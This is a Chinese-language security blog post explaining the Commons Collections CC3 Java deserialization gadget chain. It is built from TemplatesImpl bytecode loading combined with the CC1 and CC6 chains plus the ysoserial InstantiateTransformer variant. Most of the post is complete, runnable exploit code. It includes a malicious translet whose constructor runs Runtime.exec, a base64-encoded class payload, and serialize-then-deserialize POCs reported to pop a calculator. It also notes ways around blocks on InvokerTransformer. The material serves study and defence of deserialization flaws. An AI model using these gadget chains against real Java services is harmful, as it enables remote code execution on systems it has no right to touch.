CC3
CC3就是将CC1和CC6调用链和动态加载字节码加在一起,所以需要有动态加载字节码的知识。
利用TemplatesImpl构造CC3
在前面博客的文章中,讲述了Java中动态加载字节码的方法,其中就说明了TemplatesImpl
的用法,通过调用其newTransformer()
来实现链子的起点
在动态加载字节码中,利用TemplatesImpl
构建的POC为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("xxx");
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
ctf.newTransformer();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
恶意类的示例代码为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
想要在反序列化中利用TemplatesImpl来加载字节码,需要在反序列化中执行TemplatesImpl对象的newTransformer或getOutputProperties方法
结合在CC1中的TransformedMap链的基本代码的简化代码,可以如下构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("xxx");
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(ctf),new InvokerTransformer("newTransformer",null,null)};
Transformer chain = new ChainedTransformer(chainPart);
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在就是看如何接入了CC链了
结合CC1
测试环境:
- commons-collections 3.2.1
- JDK 8u65
POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.Class;
import java.util.Base64;
import java.util.Map;
import java.util.HashMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL1Rlc3Q7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAcACAcAJwwAKAApAQAEY2FsYwwAKgArAQAQb3JnL2V4YW1wbGUvVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACgAAAA4AAwAAAAoABAALAA0ADAALAAAADAABAAAADgAMAA0AAAAOAAAABAABAA8AAQAQABEAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAAA8ACwAAACAAAwAAAAEADAANAAAAAAABABIAEwABAAAAAQAUABUAAgAOAAAABAABABYAAQAQABcAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABIACwAAACoABAAAAAEADAANAAAAAAABABIAEwABAAAAAQAYABkAAgAAAAEAGgAbAAMADgAAAAQAAQAWAAEAHAAAAAIAHQ==");
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(ctf),new InvokerTransformer("newTransformer",null,null)};
Transformer chain = new ChainedTransformer(chainPart);
Map hashMap = new HashMap();
hashMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(hashMap,null,chain);
Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
Object o = constructor1.newInstance(Retention.class,outerMap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功弹出计算机,其实就是将前面的链式执行命令改了一下。
这里要说明一个东西,就是利用链的InvokerTransformer初始化那里,可以和前面的CC1对比一下:

如果 paramTypes
和 args
是 null
,它们表示该方法没有参数。而如果它们是 new Class[]{null}
和 new Object[]{null}
,这实际上是表示该方法有一个参数,但是该参数的类型和值都是 null
,这种情况很可能导致方法调用失败,因为实际调用的方法没有参数,而代码却试图用一个 null
类型和 null
值进行调用。
所以上面代码需要直接用两个null表示无参数的方法
CC3(LazyMap链)
POC(前面用的base64,这里就用IO读文件):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.Class;
import java.lang.reflect.InvocationHandler;
import java.util.Map;
import java.util.HashMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(ctf),new InvokerTransformer("newTransformer",null,null)};
Transformer chain = new ChainedTransformer(chainPart);
Map hashMap = new HashMap();
Map outerMap = LazyMap.decorate(hashMap,chain);
Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
con.setAccessible(true);
InvocationHandler proxy = (InvocationHandler) con.newInstance(Retention.class,outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),proxy);
Object o = con.newInstance(Retention.class,proxyMap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功弹出计算机。
局限
也就是CC1的局限,在JDK 8u71后就不能再使用了。
结合CC6
测试环境:
- commons-collections 3.2.1
- JDK 8u411
CC3(HashMap链)
POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(ctf),new InvokerTransformer("newTransformer",null,null)};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map hashMap = new HashMap();
Map lazy = LazyMap.decorate(hashMap,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap o = new HashMap();
o.put(outerMap,"xxxx");
hashMap.remove("fupanc");
Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chain,chainPart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功弹出计算机。
CC3(HashSet链)
和HashMap差不多,POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;
import java.util.HashSet;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(ctf),new InvokerTransformer("newTransformer",null,null)};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map hashMap = new HashMap();
Map lazy = LazyMap.decorate(hashMap,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashSet hash = new HashSet();
hash.add(outerMap);
hashMap.remove("fupanc");
Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chain,chainPart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
测试环境:
- commons-collections 3.2.1
- JDK 8u65
分析
ysoserial的CC3的POC没有用InvokerTransformer来执行newTransformer方法,而是用的InstantiateTransformer类:

InstantiateTransformer类位于org.apache.commons.collections.functors.InstantiateTransformer
,
来看这个类用到的源码
构造方法:

transform方法:

可以看到这里的transform方法就是可以实例化一个类的。
继续看ysoserial的利用链:
1
2
3
4
5
|
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
|
它前面传入了一个TrAXFilter.class
,这个TrAXFilter类位置是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
。
在TrAXFilter
类中,有地方调用了newTransformer()
方法:

这也就是在ysoserial利用链中传入Templates.class的原因(Templates接口类位于javax.xml.transform.Templates
),现在大概就清楚了,
只要我们将一个设置好了的TemplatesImpl类赋值给一个变量,再将那个变量传进去当做TrAXFilter的参数变量templates的值,这样就会自然调用到TemplatesImpl类的newTransformer()
方法,还是简单给个代码,就像如下:
1
2
3
4
5
6
7
8
|
byte[] code = Files.readAllBytes(Paths.get("D:\\java_text\\java-1\\out\\production\\java-1\\Test.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl,"_name","fupanc");
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl, "_class", null);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};
|
就是如上,这样InstantiateTransformer的transformer()方法就可以在获取TrAXFilter类的构造方法后再调用newInstance()方法将这个TrAXFilter类实例化,在实例化的过程中,自然就会调用TemplatesImpl的newTransformer()方法:

那么现在就可以尝试构造了。
POC
结合CC1
CC1的TransformedMap链:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import javax.xml.transform.Templates;
import java.lang.Class;
import java.util.Map;
import java.util.HashMap;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl,"_name","fupanc");
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl, "_class", null);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};
Transformer chain = new ChainedTransformer(chainPart);
Map hashMap = new HashMap();
hashMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(hashMap,null,chain);
Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
Object o = constructor1.newInstance(Retention.class,outerMap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功弹计算机。
CC1的LazyMap链:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import javax.xml.transform.Templates;
import java.lang.Class;
import java.util.Map;
import java.util.HashMap;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};
Transformer chain = new ChainedTransformer(chainPart);
Map hashMap = new HashMap();
Map outerMap = LazyMap.decorate(hashMap,chain);
Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
con.setAccessible(true);
InvocationHandler proxy = (InvocationHandler) con.newInstance(Retention.class,outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),proxy);
Object o = con.newInstance(Retention.class,proxyMap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功弹计算机
结合CC6
HashMap链的POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map hashMap = new HashMap();
Map lazy = LazyMap.decorate(hashMap,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap o = new HashMap();
o.put(outerMap,"xxxx");
hashMap.remove("fupanc");
Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chain,chainPart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功弹计算机
HashSet链的POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;
import java.util.HashSet;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map hashMap = new HashMap();
Map lazy = LazyMap.decorate(hashMap,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashSet o = new HashSet();
o.add(outerMap);
hashMap.remove("fupanc");
Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chain,chainPart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
好处
首先就是在利用POC的时候一定要注意java版本的问题,结合CC6的基本在java7和java8都通杀。
对于使用InstantiateTransformer类,当不允许使用InvokerTransformer类的时候就可以使用这个。